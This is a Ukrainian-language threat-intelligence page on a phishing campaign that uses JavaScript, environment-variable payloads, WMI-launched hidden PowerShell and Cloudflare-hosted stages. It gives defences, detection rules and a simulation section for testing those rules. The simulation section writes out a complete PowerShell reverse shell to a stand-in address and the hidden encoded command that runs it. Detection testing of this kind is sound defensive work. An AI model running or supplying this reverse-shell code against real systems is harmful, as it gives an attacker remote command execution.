Повернення зловісного тла MSI
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Фішинг-лист, що містить посилання WeTransfer, доставляє JavaScript-файл, який зберігає заплутане корисне навантаження всередині змінної середовища. Це навантаження пізніше розкодовується і виконується за допомогою PowerShell, запущеного через WMI, який завантажує шкідливий фоновий JPEG у стилі MSI та .NET DLL із Cloudflare Workers та сховища R2. DLL є модифікованою збіркою Microsoft.Win32.TaskScheduler використовується для завантаження подальших корисних навантажень і, можливо, для створення стійкості через заплановані завдання. Кампанія підкреслює, як зловмисники продовжують зловживати законними хмарними сервісами для хостингу та розповсюдження шкідливих компонентів.
Розслідування
Аналітик ідентифікував початковий JavaScript-файл названий Remittance Advice.js що містить код, обфусцований ROT13, який створює INTERNAL_DB_CACHE змінну середовища. Потім PowerShell запускається у прихованому вікні через WMI і виконує декодований блок скрипта. Цей скрипт отримує файл JPEG з workers.dev субдомену і файл PNG з публічного r2.dev багета, обидва, ймовірно, використовувалися для перенесення додаткових корисних навантажень через стеганографічні методи. Компонент фінальної стадії — це .NET DLL, отримана з бібліотеки TaskScheduler з відкритим вихідним кодом.
Захист
Організації повинні блокувати доступ до відомих шкідливих доменів, таких як we.tl, workers.dev, і r2.dev на рівні фаєрвола або проксі. Виконання PowerShell і створення процесів на основі WMI повинно бути обмежено для ненадійних користувачів де це можливо. Захисники також повинні моніторити приховане виконання PowerShell, зловживання методом Win32_Process.Create і незвичайні змінні середовища такі як INTERNAL_DB_CACHE. Файли, завантажені з публічного хмарного сховища, повинні підлягати строгій валідації та інспекції.
Відповідь
Команди безпеки повинні інформувати, коли PowerShell запущений з прихованим вікном через WMI і коли INTERNAL_DB_CACHE змінна створюється або змінюється. Будь-який процес, який підключається до визначених URL або завантажує вміст з workers.dev or r2.dev повинен негайно розслідуватися. Форензічний аналіз повинен зосередитися на виявленні шкідливого .NET DLL і виявленні новостворених запланованих завдань, що покладаються на бібліотеку TaskScheduler. Постраждалі хости повинні швидко бути відновлені, а вміст виявлення повинен оновлюватися з виявленими індикаторами.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef malware fill:#ff9999 classDef file fill:#ccccff %% Node definitions action_phishing[“<b>Дія</b> – <b>T1566.002 Фішинг: посилання для цільового фішингу (Spearphishing Link)</b><br/><b>Опис</b>: Надсилає жертвам електронний лист зі шкідливим посиланням WeTransfer”] class action_phishing action tool_js[“<b>Інструмент</b> – <b>JavaScript-пейлоад</b><br/><b>Техніки</b>: T1027.008 Обфусковані файли або інформація, T1132 Кодування даних<br/><b>Опис</b>: Виконується та встановлює змінну середовища, що містить пейлоад у форматі ROT13/модифікованого Base64”] class tool_js tool process_wmi_ps[“<b>Процес</b> – <b>PowerShell через WMI</b><br/><b>Техніки</b>: T1216 Проксі-виконання підписаних бінарних файлів, T1036.009 Маскування, T1564.010 Приховування артефактів<br/><b>Опис</b>: Запускає прихований процес PowerShell через WMI”] class process_wmi_ps process malware_taskdll[“<b>Шкідливе ПЗ</b> – <b>.NET DLL TaskScheduler</b><br/><b>Техніка</b>: T1127.003 Проксі-виконання через довірені інструменти розробника<br/><b>Опис</b>: Завантажує декодований пейлоад як .NET DLL та реєструє його у Планувальнику завдань”] class malware_taskdll malware tool_downloader[“<b>Інструмент</b> – <b>Завантажувач</b><br/><b>Техніки</b>: T1578 Отримання інфраструктури, T1538 Дані з хмарного сховища, T1537 Передавання даних до хмарного облікового запису<br/><b>Опис</b>: Отримує додаткові файли з Cloudflare Workers та сховища R2”] class tool_downloader tool file_png[“<b>Файл</b> – <b>Стеганографічний PNG</b><br/><b>Опис</b>: PNG-зображення, що містить приховані дані, які згодом обробляються”] class file_png file %% Connections showing attack flow action_phishing –>|доставляє| tool_js tool_js –>|виконує_та_встановлює| process_wmi_ps process_wmi_ps –>|запускає| malware_taskdll malware_taskdll –>|завантажує| tool_downloader tool_downloader –>|отримує| file_png
Потік атаки
Детекції
Можливість виконання через приховані командні рядки PowerShell (через cmdline)
Переглянути
LOLBAS WScript / CScript (через creation процесу)
Переглянути
Можливе зловживання доменами Cloudflare Development (через dns)
Переглянути
PowerShell змінна середовища з виконанням закодованого навантаження [Windows Powershell]
Переглянути
Виконання симуляції
Попередня умова: перевірка телеметрії та базового рівня повинна бути пройдена.
Пояснення: Цей розділ деталізує точне виконання техніки супротивника (TTP), розробленої для виклику правила детекції. Команди і наратив МУСЯТЬ безпосередньо відображати визначені TTP та прагнути згенерувати точну телеметрію, очікувану логікою детекції.
-
Хід атаки та команди:
Атакуючий спочатку вводить закодоване в base64 навантаження PowerShell у змінну середовища рівня процесу, названуINTERNAL_DB_CACHE. Це навантаження, після декодування, запускає зворотну оболонку. Потім атакуючий викликає другий процес PowerShell, який читає змінну і виконує її черезScriptBlock::Create, таким чином утримуючи шкідливу команду поза безпосереднім командним рядком. Цей підхід “на життя-самопідтримку” уникає виявлення статичними сигнатурами і використовує двоступеневий шаблон, на який налаштував правило.-
Стадія 1 – Закодувати навантаження та зберегти в змінну середовища
$payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") -
Стадія 2 – Виконати закодоване навантаження зі змінної середовища
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
-
-
Скрипт регресійного тесту: Скрипт нижче автоматизує два кроки, захоплює часові значення для кореляції та вставляє коротку затримку, щоб дозволити першому процесу завершитися до початку другого.
# ---------------------------------------------- # PowerShell симуляція закодованого навантаження в змінній середовища # ---------------------------------------------- # Крок 1 – Закодувати нешкідливе навантаження зворотної оболонки (замість вашою адресою C2) $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep' # Маленьке нешкідливе навантаження для безпечного тестування $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") Write-Host "[*] Змінна середовища INTERNAL_DB_CACHE встановлена." # Коротка затримка, щоб упевнитися, що перша команда зареєстрована Start-Sleep -Seconds 2 # Крок 2 – Виконати навантаження зі змінної powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command ` Write-Host "[*] Виконання навантаження запущено." -
Команди очищення: Видаліть тимчасову змінну середовища і заверште будь-які випадкові процеси, створені під час тесту.
# Видалити тестову змінну середовища [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process") Write-Host "[*] ОЧИСТКА – INTERNAL_DB_CACHE видалена." # Упевнитися, що не залишилося жодних сирітських процесів powershell.exe (виключити поточну сесію) Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force Write-Host "[*] ОЧИСТКА – сирітські процеси PowerShell завершено."